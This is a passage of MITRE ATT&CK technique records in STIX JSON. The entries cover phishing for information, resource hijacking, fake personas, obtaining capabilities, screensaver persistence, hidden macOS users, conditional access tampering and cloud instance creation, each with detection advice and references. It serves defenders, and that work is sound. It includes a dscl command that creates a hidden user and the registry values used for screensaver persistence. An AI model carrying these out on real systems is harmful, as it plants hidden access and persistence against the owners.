"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-09-08T20:28:49.600Z", "name": "Phishing for Information", "description": "Adversaries may send phishing messages to elicit sensitive information that can be used during targeting. Phishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Phishing for information is different from [Phishing](https://attack.mitre.org/techniques/T1566) in that the objective is gathering data from the victim rather than executing malicious code.\n\nAll forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass credential harvesting campaigns.\n\nAdversaries may also try to obtain information directly through the exchange of emails, instant messages, or other electronic conversation means.(Citation: ThreatPost Social Media Phishing)(Citation: TrendMictro Phishing)(Citation: PCMag FakeLogin)(Citation: Sophos Attachment)(Citation: GitHub Phishery) Victims may also receive phishing messages that direct them to call a phone number where the adversary attempts to collect confidential information.(Citation: Avertium callback phishing)\n\nPhishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages. Another way to accomplish this is by forging or spoofing(Citation: Proofpoint-spoof) the identity of the sender which can be used to fool both the human recipient as well as automated security tools.(Citation: cyberproof-double-bounce) \n\nPhishing for information may also involve evasive techniques, such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., [Email Hiding Rules](https://attack.mitre.org/techniques/T1564/008)).(Citation: Microsoft OAuth Spam 2022)(Citation: Palo Alto Unit 42 VBA Infostealer 2014)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "reconnaissance"}], "x_mitre_contributors": ["Philip Winther", "Sebastian Salla, McAfee", "Robert Simmons, @MalwareUtkonos", "Ohad Zaidenberg, @ohad_mz", "Liora Itkin", "Liran Ravich, CardinalOps", "Scott Cook, Capital One"], "x_mitre_deprecated": false, "x_mitre_detection": "Depending on the specific method of phishing, the detections can vary. Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)\n\nWhen it comes to following links, monitor for references to uncategorized or known-bad sites. URL inspection within email (including expanding shortened links) can also help detect links leading to known malicious sites.\n\nMonitor social media traffic for suspicious activity, including messages requesting information as well as abnormal file or data transfers (especially those involving unknown, or otherwise suspicious accounts).", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["PRE"], "x_mitre_version": "1.3", "x_mitre_data_sources": ["Network Traffic: Network Traffic Content", "Application Log: Application Log Content", "Network Traffic: Network Traffic Flow"], "type": "attack-pattern", "id": "attack-pattern--cca0ccb6-a068-4574-a722-b1556f86833a", "created": "2020-10-02T17:07:01.502Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1598", "external_id": "T1598"}, {"source_name": "ACSC Email Spoofing", "description": "Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.", "url": "https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf"}, {"source_name": "Avertium callback phishing", "description": "Avertium. (n.d.). EVERYTHING YOU NEED TO KNOW ABOUT CALLBACK PHISHING. Retrieved February 2, 2023.", "url": "https://www.avertium.com/resources/threat-reports/everything-you-need-to-know-about-callback-phishing"}, {"source_name": "TrendMictro Phishing", "description": "Babon, P. (2020, September 3). Tricky 'Forms' of Phishing. Retrieved October 20, 2020.", "url": "https://www.trendmicro.com/en_us/research/20/i/tricky-forms-of-phishing.html"}, {"source_name": "Sophos Attachment", "description": "Ducklin, P. (2020, October 2). Serious Security: Phishing without links \u2013 when phishers bring along their own web pages. Retrieved October 20, 2020.", "url": "https://nakedsecurity.sophos.com/2020/10/02/serious-security-phishing-without-links-when-phishers-bring-along-their-own-web-pages/"}, {"source_name": "cyberproof-double-bounce", "description": "Itkin, Liora. (2022, September 1). Double-bounced attacks with email spoofing . Retrieved February 24, 2023.", "url": "https://blog.cyberproof.com/blog/double-bounced-attacks-with-email-spoofing-2022-trends"}, {"source_name": "PCMag FakeLogin", "description": "Kan, M. (2019, October 24). Hackers Try to Phish United Nations Staffers With Fake Login Pages. Retrieved October 20, 2020.", "url": "https://www.pcmag.com/news/hackers-try-to-phish-united-nations-staffers-with-fake-login-pages"}, {"source_name": "Microsoft Anti Spoofing", "description": "Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.", "url": "https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide"}, {"source_name": "Microsoft OAuth Spam 2022", "description": "Microsoft. (2023, September 22). Malicious OAuth applications abuse cloud email services to spread spam. Retrieved March 13, 2023.", "url": "https://www.microsoft.com/en-us/security/blog/2022/09/22/malicious-oauth-applications-used-to-compromise-email-servers-and-spread-spam/"}, {"source_name": "ThreatPost Social Media Phishing", "description": "O'Donnell, L. (2020, October 20). Facebook: A Top Launching Pad For Phishing Attacks. Retrieved October 20, 2020.", "url": "https://threatpost.com/facebook-launching-pad-phishing-attacks/160351/"}, {"source_name": "Proofpoint-spoof", "description": "Proofpoint. (n.d.). What Is Email Spoofing?. Retrieved February 24, 2023.", "url": "https://www.proofpoint.com/us/threat-reference/email-spoofing"}, {"source_name": "GitHub Phishery", "description": "Ryan Hanson. (2016, September 24). phishery. Retrieved October 23, 2020.", "url": "https://github.com/ryhanson/phishery"}, {"source_name": "Palo Alto Unit 42 VBA Infostealer 2014", "description": "Vicky Ray and Rob Downs. (2014, October 29). Examining a VBA-Initiated Infostealer Campaign. Retrieved March 13, 2023.", "url": "https://unit42.paloaltonetworks.com/examining-vba-initiated-infostealer-campaign/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-02-14T21:00:00.467Z", "name": "Resource Hijacking", "description": "Adversaries may leverage the resources of co-opted systems to complete resource-intensive tasks, which may impact system and/or hosted service availability. \n\nOne common purpose for Resource Hijacking is to validate transactions of cryptocurrency networks and earn virtual currency. Adversaries may consume enough system resources to negatively impact and/or cause affected machines to become unresponsive.(Citation: Kaspersky Lazarus Under The Hood Blog 2017) Servers and cloud-based systems are common targets because of the high potential for available resources, but user endpoint systems may also be compromised and used for Resource Hijacking and cryptocurrency mining.(Citation: CloudSploit - Unused AWS Regions) Containerized environments may also be targeted due to the ease of deployment via exposed APIs and the potential for scaling mining activities by deploying or compromising multiple containers within an environment or cluster.(Citation: Unit 42 Hildegard Malware)(Citation: Trend Micro Exposed Docker APIs)\n\nAdditionally, some cryptocurrency mining malware identify then kill off processes for competing malware to ensure it\u2019s not competing for resources.(Citation: Trend Micro War of Crypto Miners)\n\nAdversaries may also use malware that leverages a system's network bandwidth as part of a botnet in order to facilitate [Network Denial of Service](https://attack.mitre.org/techniques/T1498) campaigns and/or to seed malicious torrents.(Citation: GoBotKR) Alternatively, they may engage in proxyjacking by selling use of the victims' network bandwidth and IP address to proxyware services.(Citation: Sysdig Proxyjacking)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "impact"}], "x_mitre_contributors": ["David Fiser, @anu4is, Trend Micro", "Alfredo Oliveira, Trend Micro", "Jay Chen, Palo Alto Networks", "Magno Logan, @magnologan, Trend Micro", "Vishwas Manral, McAfee", "Yossi Weizman, Azure Defender Research Team", "Goldstein Menachem"], "x_mitre_deprecated": false, "x_mitre_detection": "Consider monitoring process resource usage to determine anomalous activity associated with malicious hijacking of computer resources such as CPU, memory, and graphics processing resources. Monitor for suspicious use of network resources associated with cryptocurrency mining software. Monitor for common cryptomining software process names and files on local systems that may indicate compromise and resource usage.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Windows", "IaaS", "Linux", "macOS", "Containers"], "x_mitre_version": "1.5", "x_mitre_data_sources": ["Network Traffic: Network Traffic Content", "Network Traffic: Network Traffic Flow", "File: File Creation", "Network Traffic: Network Connection Creation", "Sensor Health: Host Status", "Process: Process Creation", "Command: Command Execution"], "x_mitre_impact_type": ["Availability"], "type": "attack-pattern", "id": "attack-pattern--cd25c1b4-935c-4f0e-ba8d-552f28bc4783", "created": "2019-04-17T14:50:05.682Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1496", "external_id": "T1496"}, {"source_name": "Unit 42 Hildegard Malware", "description": "Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021.", "url": "https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/"}, {"source_name": "CloudSploit - Unused AWS Regions", "description": "CloudSploit. (2019, June 8). The Danger of Unused AWS Regions. Retrieved October 8, 2019.", "url": "https://medium.com/cloudsploit/the-danger-of-unused-aws-regions-af0bf1b878fc"}, {"source_name": "Sysdig Proxyjacking", "description": "Crystal Morin. (2023, April 4). Proxyjacking has Entered the Chat. Retrieved July 6, 2023.", "url": "https://sysdig.com/blog/proxyjacking-attackers-log4j-exploited/"}, {"source_name": "Kaspersky Lazarus Under The Hood Blog 2017", "description": "GReAT. (2017, April 3). Lazarus Under the Hood. Retrieved April 17, 2019.", "url": "https://securelist.com/lazarus-under-the-hood/77908/"}, {"source_name": "Trend Micro Exposed Docker APIs", "description": "Oliveira, A. (2019, May 30). Infected Containers Target Docker via Exposed APIs. Retrieved April 6, 2021.", "url": "https://www.trendmicro.com/en_us/research/19/e/infected-cryptocurrency-mining-containers-target-docker-hosts-with-exposed-apis-use-shodan-to-find-additional-victims.html"}, {"source_name": "Trend Micro War of Crypto Miners", "description": "Oliveira, A., Fiser, D. (2020, September 10). War of Linux Cryptocurrency Miners: A Battle for Resources. Retrieved April 6, 2021.", "url": "https://www.trendmicro.com/en_us/research/20/i/war-of-linux-cryptocurrency-miners-a-battle-for-resources.html"}, {"source_name": "GoBotKR", "description": "Zuzana Hromcov\u00e1. (2019, July 8). Malicious campaign targets South Korean users with backdoor\u2011laced torrents. Retrieved March 31, 2022.", "url": "https://www.welivesecurity.com/2019/07/08/south-korean-users-backdoor-torrents/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-02-28T21:08:56.520Z", "name": "Establish Accounts", "description": "Adversaries may create and cultivate accounts with services that can be used during targeting. Adversaries can create accounts that can be used to build a persona to further operations. Persona development consists of the development of public information, presence, history and appropriate affiliations. This development could be applied to social media, website, or other publicly available information that could be referenced and scrutinized for legitimacy over the course of an operation using that persona or identity.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage)\n\nFor operations incorporating social engineering, the utilization of an online persona may be important. These personas may be fictitious or impersonate real people. The persona may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, GitHub, Docker Hub, etc.). Establishing a persona may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or incorporating photos.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage)\n\nEstablishing accounts can also include the creation of accounts with email providers, which may be directly leveraged for [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Mandiant APT1) In addition, establishing accounts may allow adversaries to abuse free services, such as registering for trial periods to [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) for malicious purposes.(Citation: Free Trial PurpleUrchin)\n", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "resource-development"}], "x_mitre_deprecated": false, "x_mitre_detection": "Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently created/modified accounts making numerous connection requests to accounts affiliated with your organization.\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["PRE"], "x_mitre_version": "1.3", "x_mitre_data_sources": ["Network Traffic: Network Traffic Content", "Persona: Social Media"], "type": "attack-pattern", "id": "attack-pattern--cdfc5f0a-9bb9-4352-b896-553cfa2d8fd8", "created": "2020-10-01T01:05:42.216Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1585", "external_id": "T1585"}, {"source_name": "Free Trial PurpleUrchin", "description": "Gamazo, William. Quist, Nathaniel.. (2023, January 5). PurpleUrchin Bypasses CAPTCHA and Steals Cloud Platform Resources. Retrieved February 28, 2024.", "url": "https://unit42.paloaltonetworks.com/purpleurchin-steals-cloud-resources/"}, {"source_name": "NEWSCASTER2014", "description": "Lennon, M. (2014, May 29). Iranian Hackers Targeted US Officials in Elaborate Social Media Attack Operation. Retrieved March 1, 2017.", "url": "https://www.securityweek.com/iranian-hackers-targeted-us-officials-elaborate-social-media-attack-operation"}, {"source_name": "Mandiant APT1", "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"}, {"source_name": "BlackHatRobinSage", "description": "Ryan, T. (2010). \u201cGetting In Bed with Robin Sage.\u201d. Retrieved March 6, 2017.", "url": "http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["PRE"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--ce0687a0-e692-4b77-964a-0784a8e54ff1", "type": "attack-pattern", "created": "2020-10-01T01:56:24.776Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1588", "url": "https://attack.mitre.org/techniques/T1588"}, {"source_name": "NationsBuying", "description": "Nicole Perlroth and David E. Sanger. (2013, July 12). Nations Buying as Hackers Sell Flaws in Computer Code. Retrieved March 9, 2017.", "url": "https://www.nytimes.com/2013/07/14/world/europe/nations-buying-as-hackers-sell-computer-flaws.html"}, {"url": "https://citizenlab.ca/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/", "description": "Bill Marczak and John Scott-Railton. (2016, August 24). The Million Dollar Dissident: NSO Group\u2019s iPhone Zero-Days used against a UAE Human Rights Defender. Retrieved December 12, 2016.", "source_name": "PegasusCitizenLab"}, {"description": "Fisher, D. (2012, October 31). Final Report on DigiNotar Hack Shows Total Compromise of CA Servers. Retrieved March 6, 2017.", "source_name": "DiginotarCompromise", "url": "https://threatpost.com/final-report-diginotar-hack-shows-total-compromise-ca-servers-103112/77170/"}, {"source_name": "FireEyeSupplyChain", "description": "FireEye. (2014). SUPPLY CHAIN ANALYSIS: From Quartermaster to SunshopFireEye. Retrieved March 6, 2017.", "url": "https://www.mandiant.com/resources/supply-chain-analysis-from-quartermaster-to-sunshop"}, {"source_name": "Analyzing CS Dec 2020", "url": "https://www.randhome.io/blog/2020/12/20/analyzing-cobalt-strike-for-fun-and-profit/", "description": "Maynier, E. (2020, December 20). Analyzing Cobalt Strike for Fun and Profit. Retrieved October 12, 2021."}, {"source_name": "Splunk Kovar Certificates 2017", "url": "https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html", "description": "Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020."}, {"source_name": "Recorded Future Beacon Certificates", "url": "https://www.recordedfuture.com/cobalt-strike-servers/", "description": "Insikt Group. (2019, June 18). A Multi-Method Approach to Identifying Rogue Cobalt Strike Servers. Retrieved October 16, 2020."}], "modified": "2021-10-18T12:26:22.831Z", "name": "Obtain Capabilities", "description": "Adversaries may buy and/or steal capabilities that can be used during targeting. Rather than developing their own capabilities in-house, adversaries may purchase, freely download, or steal them. Activities may include the acquisition of malware, software (including licenses), exploits, certificates, and information relating to vulnerabilities. Adversaries may obtain capabilities to support their operations throughout numerous phases of the adversary lifecycle.\n\nIn addition to downloading free malware, software, and exploits from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware and exploits, criminal marketplaces, or from individuals.(Citation: NationsBuying)(Citation: PegasusCitizenLab)\n\nIn addition to purchasing capabilities, adversaries may steal capabilities from third-party entities (including other adversaries). This can include stealing software licenses, malware, SSL/TLS and code-signing certificates, or raiding closed databases of vulnerabilities or exploits.(Citation: DiginotarCompromise)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "resource-development"}], "x_mitre_detection": "Consider analyzing malware for features that may be associated with malware providers, such as compiler used, debugging artifacts, code similarities, or even group identifiers associated with specific Malware-as-a-Service (MaaS) offerings. Malware repositories can also be used to identify additional samples associated with the developers and the adversary utilizing their services. Identifying overlaps in malware use by different adversaries may indicate malware was obtained by the adversary rather than developed by them. In some cases, identifying overlapping characteristics in malware used by different adversaries may point to a shared quartermaster.(Citation: FireEyeSupplyChain) Malware repositories can also be used to identify features of tool use associated with an adversary, such as watermarks in [Cobalt Strike](https://attack.mitre.org/software/S0154) payloads.(Citation: Analyzing CS Dec 2020)\n\nConsider use of services that may aid in the tracking of newly issued certificates and/or certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) Some server-side components of adversary tools may have default values set for SSL/TLS certificates.(Citation: Recorded Future Beacon Certificates)\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control.", "x_mitre_version": "1.1", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Certificate: Certificate Registration", "Malware Repository: Malware Metadata", "Internet Scan: Response Content", "Malware Repository: Malware Content"], "x_mitre_is_subtechnique": false}, {"modified": "2023-07-28T18:17:34.185Z", "name": "Screensaver", "description": "Adversaries may establish persistence by executing malicious content triggered by user inactivity. Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.(Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.scr is located in <code>C:\\Windows\\System32\\</code>, and <code>C:\\Windows\\sysWOW64\\</code>  on 64-bit Windows systems, along with screensavers included with base Windows installations.\n\nThe following screensaver settings are stored in the Registry (<code>HKCU\\Control Panel\\Desktop\\</code>) and could be manipulated to achieve persistence:\n\n* <code>SCRNSAVE.exe</code> - set to malicious PE path\n* <code>ScreenSaveActive</code> - set to '1' to enable the screensaver\n* <code>ScreenSaverIsSecure</code> - set to '0' to not require a password to unlock\n* <code>ScreenSaveTimeout</code> - sets user inactivity timeout before screensaver is executed\n\nAdversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity.(Citation: ESET Gazer Aug 2017)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}, {"kill_chain_name": "mitre-attack", "phase_name": "persistence"}], "x_mitre_contributors": ["Bartosz Jerzman"], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor process execution and command-line parameters of .scr files. Monitor changes to screensaver configuration changes in the Registry that may not correlate with typical user behavior.\n\nTools such as Sysinternals Autoruns can be used to detect changes to the screensaver binary path in the Registry. Suspicious paths and PE files may indicate outliers among legitimate screensavers in a network and should be investigated.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Windows"], "x_mitre_version": "1.2", "x_mitre_data_sources": ["File: File Modification", "File: File Creation", "Command: Command Execution", "Process: Process Creation", "Windows Registry: Windows Registry Key Modification"], "x_mitre_permissions_required": ["User"], "type": "attack-pattern", "id": "attack-pattern--ce4b7013-640e-48a9-b501-d0025a95f4bf", "created": "2020-01-24T13:51:01.210Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1546/002", "external_id": "T1546.002"}, {"source_name": "ESET Gazer Aug 2017", "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.", "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"}, {"source_name": "Wikipedia Screensaver", "description": "Wikipedia. (2017, November 22). Screensaver. Retrieved December 5, 2017.", "url": "https://en.wikipedia.org/wiki/Screensaver"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["macOS"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--ce73ea43-8e77-47ba-9c11-5e9c9c58b9ff", "type": "attack-pattern", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1147", "url": "https://attack.mitre.org/techniques/T1147"}, {"url": "https://cdn2.hubspot.net/hubfs/3354902/Content%20PDFs/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf", "description": "Amit Serper. (2016). Cybereason Lab Analysis OSX.Pirrit. Retrieved December 10, 2021.", "source_name": "Cybereason OSX Pirrit"}], "modified": "2021-12-21T16:28:00.431Z", "name": "Hidden Users", "description": "Every user account in macOS has a userID associated with it. When creating a user, you can specify the userID for that account. There is a property value in <code>/Library/Preferences/com.apple.loginwindow</code> called <code>Hide500Users</code> that prevents users with userIDs 500 and lower from appearing at the login screen. By using the [Create Account](https://attack.mitre.org/techniques/T1136) technique with a userID under 500 and enabling this property (setting it to Yes), an adversary can hide their user accounts much more easily: <code>sudo dscl . -create /Users/username UniqueID 401</code> (Citation: Cybereason OSX Pirrit).", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_detection": "This technique prevents the new user from showing up at the log in screen, but all of the other signs of a new user still exist. The user still gets a home directory and will appear in the authentication logs.", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_permissions_required": ["Administrator", "root"], "x_mitre_is_subtechnique": false}, {"modified": "2024-04-18T20:53:46.175Z", "name": "Conditional Access Policies", "description": "Adversaries may disable or modify conditional access policies to enable persistent access to compromised accounts. Conditional access policies are additional verifications used by identity providers and identity and access management systems to determine whether a user should be granted access to a resource.\n\nFor example, in Azure AD, Okta, and JumpCloud, users can be denied access to applications based on their IP address, device enrollment status, and use of multi-factor authentication.(Citation: Microsoft Conditional Access)(Citation: JumpCloud Conditional Access Policies)(Citation: Okta Conditional Access Policies) In some cases, identity providers may also support the use of risk-based metrics to deny sign-ins based on a variety of indicators. In AWS and GCP, IAM policies can contain `condition` attributes that verify arbitrary constraints such as the source IP, the date the request was made, and the nature of the resources or regions being requested.(Citation: AWS IAM Conditions)(Citation: GCP IAM Conditions) These measures help to prevent compromised credentials from resulting in unauthorized access to data or resources, as well as limit user permissions to only those required. \n\nBy modifying conditional access policies, such as adding additional trusted IP ranges, removing [Multi-Factor Authentication](https://attack.mitre.org/techniques/T1556/006) requirements, or allowing additional [Unused/Unsupported Cloud Regions](https://attack.mitre.org/techniques/T1535), adversaries may be able to ensure persistent access to accounts and circumvent defensive measures.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "credential-access"}, {"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}, {"kill_chain_name": "mitre-attack", "phase_name": "persistence"}], "x_mitre_contributors": ["Gavin Knapp", "Joshua Penny"], "x_mitre_deprecated": false, "x_mitre_detection": "", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Azure AD", "SaaS", "IaaS"], "x_mitre_version": "1.0", "x_mitre_data_sources": ["Active Directory: Active Directory Object Modification", "Cloud Service: Cloud Service Modification"], "type": "attack-pattern", "id": "attack-pattern--ceaeb6d8-95ee-4da2-9d42-dc6aa6ca43ae", "created": "2024-01-02T13:43:37.389Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1556/009", "external_id": "T1556.009"}, {"source_name": "AWS IAM Conditions", "description": "AWS. (n.d.). IAM JSON policy elements: Condition. Retrieved January 2, 2024.", "url": "https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_elements_condition.html"}, {"source_name": "GCP IAM Conditions", "description": "Google Cloud. (n.d.). Overview of IAM Conditions. Retrieved January 2, 2024.", "url": "https://cloud.google.com/iam/docs/conditions-overview"}, {"source_name": "JumpCloud Conditional Access Policies", "description": "JumpCloud. (n.d.). Get Started: Conditional Access Policies. Retrieved January 2, 2024.", "url": "https://jumpcloud.com/support/get-started-conditional-access-policies"}, {"source_name": "Microsoft Conditional Access", "description": "Microsoft. (2023, November 15). What is Conditional Access?. Retrieved January 2, 2024.", "url": "https://learn.microsoft.com/en-us/entra/identity/conditional-access/overview"}, {"source_name": "Okta Conditional Access Policies", "description": "Okta. (2023, November 30). Conditional Access Based on Device Security Posture. Retrieved January 2, 2024.", "url": "https://support.okta.com/help/s/article/Conditional-access-based-on-device-security-posture?language=en_US"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["IaaS"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--cf1c2504-433f-4c4e-a1f8-91de45a0318c", "type": "attack-pattern", "created": "2020-05-14T14:45:15.978Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1578.002", "url": "https://attack.mitre.org/techniques/T1578/002"}, {"source_name": "Mandiant M-Trends 2020", "url": "https://content.fireeye.com/m-trends/rpt-m-trends-2020", "description": "Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020."}, {"source_name": "AWS CloudTrail Search", "url": "https://aws.amazon.com/premiumsupport/knowledge-center/cloudtrail-search-api-calls/", "description": "Amazon. (n.d.). Search CloudTrail logs for API calls to EC2 Instances. Retrieved June 17, 2020."}, {"source_name": "Azure Activity Logs", "url": "https://docs.microsoft.com/en-us/azure/azure-resource-manager/management/view-activity-logs", "description": "Microsoft. (n.d.). View Azure activity logs. Retrieved June 17, 2020."}, {"source_name": "Cloud Audit Logs", "url": "https://cloud.google.com/logging/docs/audit#admin-activity", "description": "Google. (n.d.). Audit Logs. Retrieved June 1, 2020."}], "modified": "2021-03-08T10:33:02.034Z", "name": "Create Cloud Instance", "description": "An adversary may create a new instance or virtual machine (VM) within the compute service of a cloud account to evade defenses. Creating a new instance may allow an adversary to bypass firewall rules and permissions that exist on instances currently residing within an account. An adversary may [Create Snapshot](https://attack.mitre.org/techniques/T1578/001) of one or more volumes in an account, create a new instance, mount the snapshots, and then apply a less restrictive security policy to collect [Data from Local System](https://attack.mitre.org/techniques/T1005) or for [Remote Data Staging](https://attack.mitre.org/techniques/T1074/002).(Citation: Mandiant M-Trends 2020)\n\nCreating a new instance may also allow an adversary to carry out malicious activity within an environment without affecting the execution of current running instances.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_detection": "The creation of a new instance or VM is a common part of operations within many cloud environments. Events should then not be viewed in isolation, but as part of a chain of behavior that could lead to other activities. For example, the creation of an instance by a new user account or the unexpected creation of one or more snapshots followed by the creation of an instance may indicate suspicious activity.\n\nIn AWS, CloudTrail logs capture the creation of an instance in the <code>RunInstances</code> event, and in Azure the creation of a VM may be captured in Azure activity logs.(Citation: AWS CloudTrail Search)(Citation: Azure Activity Logs) Google's Admin Activity audit logs within their Cloud Audit logs can be used to detect the usage of <code>gcloud compute instances create</code> to create a VM.(Citation: Cloud Audit Logs)", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.1", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Instance: Instance Creation", "Instance: Instance Metadata"], "x_mitre_permissions_required": ["User"]}, {"x_mitre_platforms": ["Linux", 